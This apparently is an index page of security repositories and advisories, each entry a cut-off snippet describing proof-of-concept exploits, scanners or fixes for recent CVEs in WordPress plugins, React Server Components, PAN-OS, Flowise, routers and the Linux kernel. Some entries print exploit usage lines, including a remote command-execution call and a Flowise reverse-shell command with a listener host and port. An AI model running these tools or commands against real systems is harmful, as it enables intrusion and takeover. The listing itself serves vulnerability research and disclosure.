CVE-2026-22356

CVE-2026-22356: Jetpack CRM Path Traversal Vulnerability and RCE Warning: This tool should only be used in authorized test environments. The user is solely responsible for illegal use. 📥 Requirements pip3 install requests urllib3 $ python3 exploit.py https://example.com --rce --cmd "id" + Target ...

react2shell

React2Shell CVE-2025-55182 Next.js: CVE-2025-66478 Unauthenticated RCE in React Server Components Flight Protocol - PoC Exploit Description React Server Components Flight protocol deserialize attacker-controlled multipart/form-data without validating prototype-chain access. A single unauthenticat...

CVE-2026-3296

CVE-2026-3296 CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin CVE-2026-3296 — Everest Forms PHP Object Injection Scanner Plugin: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder Plugin Slug...

CVE-2026-0265-check

CVE-2026-0265 Vulnerability Assessment Tool Safely determine whether a Palo Alto Networks PAN-OS GlobalProtect portal is vulnerable to CVE-2026-0265 without authenticating any session or modifying any state. Description CVE-2026-0265 is a remote authentication bypass affecting PAN-OS and Panorama...

CVE-2026-12416-CVE-2026-12417

CVE-2026-12416-CVE-2026-12417 Unauthenticated Account Takeover via Weak Password Reset Validation via 'resetuserid' Parameter | Unauthenticated Privilege Escalation via Weak Password Reset Validation via 'resetactivationcode' Leading to Account Takeover CVE-2026-12417 & CVE-2026-12416 — Mass...

PHP2Shell

PHP2Shell CVE-2026-109618 PHP 8.5.4 may allow for a buffer...

CVE-2025-55182-poc

CVE-2025-55182 React Flight protocol vulnerability allowing prototype chain traversal via chunk references. Testing against bullshit-react-project. Detection This is slightly out of date as the real PoC has now been revealed. Vite RSC : bash ./vite-detect.sh https://example.com Next.js : bash...

aapanel-ws-bypass

aaPanel: Vendors Don't Always Fix Things Properly An incomplete fix for CVE-2021-37840 still exposes 3.6M servers to root RCE, 5 years later Discovered by: EON Security CVE: Pending assignment CVSS: 8.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Affected: aaPanel versions 6.8.12 through 7.65.0...

CVE-2026-39492

CVE-2026-39492 — WP Maps Blind SQL Injection Scanner Pre-Auth Time-Based Blind SQLi via Backtick Bypass → DB Extraction Overview CVE-2026-39492 is a critical-severity CVSS 9.3 unauthenticated blind SQL injection vulnerability in the WP Maps plugin wp-google-map-plugin versions ≤ 4.9.1. The...

Logitech-G-Cloud-GhostLock-CVE-2026-43499

Logitech G Cloud · GhostLock CVE-2026-43499 Root Attempt Logitech G Cloud — CVE-2026-43499 GhostLock Root Attempt ⚠️ For research and defensive purposes only All content in this repository is generated by DeepSeek AI , for security research, vulnerability analysis, and defensive security assessmen...

CVE-2025-60751

CVE-2025-60751 PoC for CVE-2025-60751 Affected product: Geographiclib = v2.5.1 The full writeup article is available at https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html Description A stack buffer overflow occurs when GeoConvert receives a crafted input. The overflow...

CVE-2026-43637-cornac

CVE-2026-43637: Path Traversal Tar Slip in Cornac via extractarchive Severity: High, CVSS 4.0 8.8 , Critical, CVSS 3.1 9.1assigned by VulnCheck, the CNA Vector v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N Vector v4.0: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H Affected:...

CVE-2026-11784-Optimole-CSRF

CVE-2026-11784: CSRF to Arbitrary File Overwrite in Optimole WordPress Plugin Summary A Cross-Site Request Forgery CSRF vulnerability in the Optimole plugin for WordPress versions = 4.2.5 allows unauthenticated attackers to silently overwrite existing media library assets via the...

Camera-Dahua-Research-l-h-ng-CVE-2021-33044

Dahua Authentication Bypass PoC Exploit Simulation CVE-2021-33044 Overview Dahua IP cameras are IoT devices commonly used in security surveillance systems. Since they are often deployed on internal networks or accessible from the Internet, security vulnerabilities in IP cameras can severely impac...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...

kernel: netlabel: Fix NULL pointer exception caused by CALIPSO on IPv4 sockets

In the Linux kernel, the following vulnerability has been resolved: netlabel: Fix NULL pointer exception caused by CALIPSO on IPv4 sockets When calling netlblconnsetattr, addr-safamily is used to determine the function behavior. If sk is an IPv4 socket, but the connect function is called with an...

kernel: vmxnet3: fix BUG_ON in vmxnet3_get_hdr_len() for Geneve packets

A flaw was found in the vmxnet3 virtual network device driver within the Linux kernel. When processing Geneve-encapsulated packets, the vmxnet3gethdrlen function can incorrectly interpret header information, leading to a mismatch between expected and actual packet protocols or IP versions. This c...

CVE-2026-38427

CVE-2026-38427: Integer Wraparound → Heap Buffer Overflow in Tasmota fetchjpg CVE: CVE-2026-38427 Severity: Critical CVSS 9.8 Product: Arendst Tasmota Affected Version: = 15.3.0.3 File: tasmota/tasmotaxdrvdriver/xdrv10scripter.ino Function: fetchjpg — case 2 MJPEG frame fetch Author: Saidakbarxon...

CVE-2026-11499

🚨 CVE-2026-11499 Stack-Based Buffer Overflow in Tenda HG7 / HG9 / HG10 Routers 📖 Overview CVE-2026-11499 is a reported stack-based buffer overflow vulnerability affecting several Tenda router models , including: HG7 HG9 HG10 Successful exploitation may allow an attacker to trigger a crash, denial...

CVE-2026-32646

CVE-2026-32646: Missing Authentication on Administrative Device Management Endpoint Advisory Field| Value ---|--- CVE| CVE-2026-32646 ICSA| ICSA-26-055-03 Update A CVSS 3.1| 7.5 High Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE| CWE-306 Missing Authentication for Critical Function...